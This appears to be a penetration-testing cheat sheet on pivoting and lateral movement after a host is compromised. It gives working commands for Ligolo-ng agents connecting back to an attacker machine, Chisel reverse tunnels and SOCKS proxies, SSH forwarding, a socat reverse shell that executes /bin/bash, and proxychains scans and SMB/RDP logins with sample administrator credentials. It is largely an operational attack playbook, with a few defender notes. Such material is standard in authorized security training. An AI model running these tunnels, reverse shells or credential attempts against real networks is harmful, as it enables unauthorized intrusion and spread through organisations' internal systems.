Lateral Movement Flow

Initial Compromise
→
Establish Pivot
→
Internal Recon
→
Move Laterally
→
Privilege Escalation

Use this flow to systematically move through the network after initial access

Ligolo-ng

▼

Initial Setup Guide

Ligolo-ng is a tunneling tool that uses reverse TCP/TLS connections and a TUN interface to pivot through compromised networks.

Step Task Key Command / Note
1 Install on Attacker Machine (Kali) sudo apt install ligolo-ng
2 Download Agent for Target OS From GitHub Releases
3 Create TUN Interface on Attacker sudo ip tuntap add user $(whoami) mode tun ligolo
4 Start Proxy Server ligolo-proxy -selfcert -laddr 0.0.0.0:443
5 Transfer & Execute Agent on Target ./agent -connect YOUR_IP:443 -ignore-cert
6 Add Internal Route & Start Tunnel sudo ip route add INTERNAL_NET/24 dev ligolo then start 
# 1. Create and activate TUN interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# 2. Verify interface status
ip link show ligolo
Create TUN interface and bring it up (required before starting proxy)
# 3. Start proxy server (on Kali)
./ligolo-proxy -selfcert -laddr 0.0.0.0:4444
Start Ligolo proxy server on your machine with self-signed certificate
# 4. Run agent on target
./agent -connect 10.10.14.5:4444 -ignore-cert
Upload and execute agent on compromised host
# 5. Add route to internal network
sudo ip route add 192.168.1.0/24 dev tun0

# 6. Start tunnel (in ligolo-proxy interface)
start
Add route for internal network and start the tunnel

TUN Interface Workaround

If the interface doesn't appear in ifconfig after creation:


    1. Check if interface exists: ip link show ligolo

    2. If state is DOWN, activate it: sudo ip link set ligolo up

    3. Use ip addr show ligolo instead of ifconfig (more reliable)

    4. The interface gets its IP when you run start in the proxy session

Proxy Interface Commands

# In ligolo-proxy interface after agent connects
session               # List active connections
session 1             # Select session 1
ifconfig              # Discover network interfaces on target
listener_add --addr 0.0.0.0:8443 --to 127.0.0.1:443
help                  # Show all available commands
Essential commands for managing pivots from the proxy interface

Advanced Pivoting Techniques

Technique Best For Core Concept
Single Pivot with Routing Accessing one internal subnet Route the new subnet through your single ligolo TUN interface
Multi-Hop Sequential Pivot Moving linearly through chained networks (A→B→C) Deploy a new agent on each pivot host, connecting back to your original proxy
Multi-Subnet Concurrent Pivot Accessing multiple separate subnets from a single pivot host Create multiple TUN interfaces (ligolo2, ligolo3) and listeners 
# Multi-Subnet Concurrent Pivot Setup
# 1. Create additional TUN interface
sudo ip tuntap add user $(whoami) mode tun ligolo2
sudo ip link set ligolo2 up

# 2. Add new listener on proxy
listener_add --addr 0.0.0.0:8443 --to 127.0.0.1:443

# 3. Connect new agent to new listener
./agent -connect 10.10.14.5:8443 -ignore-cert

# 4. Select new session and start with different interface
start --tun ligolo2

# 5. Add route for new subnet
sudo ip route add 172.16.1.0/24 dev ligolo2
Access multiple separate subnets simultaneously from a single pivot host

Security Notes

  • -selfcert and -ignore-cert flags are for lab environments only
  • For real engagements, use Let's Encrypt (-autocert) or your own certificates (-certfile/-keyfile)
  • Ligolo-ng uses TLS and can mimic normal traffic, making it relatively stealthy
  • Defenders should monitor for anomalous outbound TLS connections and unexpected TUN interface creation

Post-Exploitation Usage

Once your tunnel is active and routes are added:

  • Use tools like nmap, crackmapexec, or Impacket's psexec.py directly without proxychains
  • Standard workflow: transfer agent → connect to proxy → discover interfaces (ifconfig) → add routes → scan and exploit
  • Ligolo-ng transforms a compromised host into a seamless network bridge

Chisel

▼ 
# Reverse tunnel (Target → You)
# On Kali:
chisel server -p 4444 --reverse

# On target:
chisel client 10.10.14.5:4444 R:8888:192.168.1.100:3389
Target connects to you, forwards internal service
# SOCKS5 Proxy
# On Kali:
chisel server -p 4444 --socks5

# On target:
chisel client 10.10.14.5:4444 1080:socks
Create SOCKS proxy for full network access

SSH Tunneling

▼ 
# Local port forward (Access remote service locally)
ssh -L 8888:192.168.1.100:3389 admin@10.10.14.5 -N -f
Forward remote port to your local machine
# Dynamic SOCKS proxy
ssh -D 1080 admin@10.10.14.5 -N -f
Create SOCKS proxy through SSH connection
# Use with proxychains
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains evil-winrm -i 192.168.1.100
Route tools through the proxy

Socat

▼ 
# Simple port forward
socat TCP-LISTEN:8888,fork,reuseaddr TCP:192.168.1.100:3389
Forward connections from local port to target
# Reverse shell relay
# On attacker:
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash

# On target:
socat TCP:10.10.14.5:4444 EXEC:/bin/bash
Create reverse shell through pivot

Common Internal Tools

▼ 
# Scan through proxy
proxychains nmap -sT -Pn -p 22,80,443,3389,445 192.168.1.0/24
# SMB enumeration
proxychains crackmapexec smb 192.168.1.0/24 -u administrator -p Password123
# RDP through pivot
proxychains xfreerdp /v:192.168.1.100 /u:administrator /p:Password123
# Web app testing
proxychains gobuster dir -u http://192.168.1.101 -w /usr/share/wordlists/dirb/common.txt